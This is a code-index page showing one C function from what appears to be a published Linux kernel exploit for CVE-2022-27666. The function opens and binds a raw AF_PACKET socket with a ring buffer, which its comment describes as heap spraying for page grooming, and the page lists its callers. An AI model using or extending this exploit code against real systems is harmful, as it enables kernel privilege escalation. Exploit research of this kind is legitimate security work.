MCPcopy Create free account
hub / github.com/bsauce/kernel-exploit-factory / packet_socket_setup

Function packet_socket_setup

CVE-2022-27666/exploit/exploit.c:1190–1215  ·  view source on GitHub ↗

spray ring_buffer to perform page fengshui (num: block_nr; size: block_size)

Source from the content-addressed store, hash-verified

1188}
1189// spray ring_buffer to perform page fengshui (num: block_nr; size: block_size)
1190int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
1191 unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
1192 int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
1193 if (s < 0) {
1194 perror("[-] socket(AF_PACKET)");
1195 exit(EXIT_FAILURE);
1196 }
1197
1198 packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, sizeof_priv, timeout); // setup socket rx_ring
1199
1200 struct sockaddr_ll sa;
1201 memset(&sa, 0, sizeof(sa));
1202 sa.sll_family = PF_PACKET;
1203 sa.sll_protocol = htons(ETH_P_ALL);
1204 sa.sll_ifindex = if_nametoindex("lo");
1205 sa.sll_hatype = 0;
1206 sa.sll_pkttype = 0;
1207 sa.sll_halen = 0;
1208
1209 int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
1210 if (rv < 0) {
1211 perror("[-] bind(AF_PACKET)");
1212 exit(EXIT_FAILURE);
1213 }
1214 return s;
1215}
1216
1217void initialise_shared(shared_data **data)
1218{

Callers 1

pagealloc_padFunction · 0.70

Calls 2

socketClass · 0.85

Tested by

no test coverage detected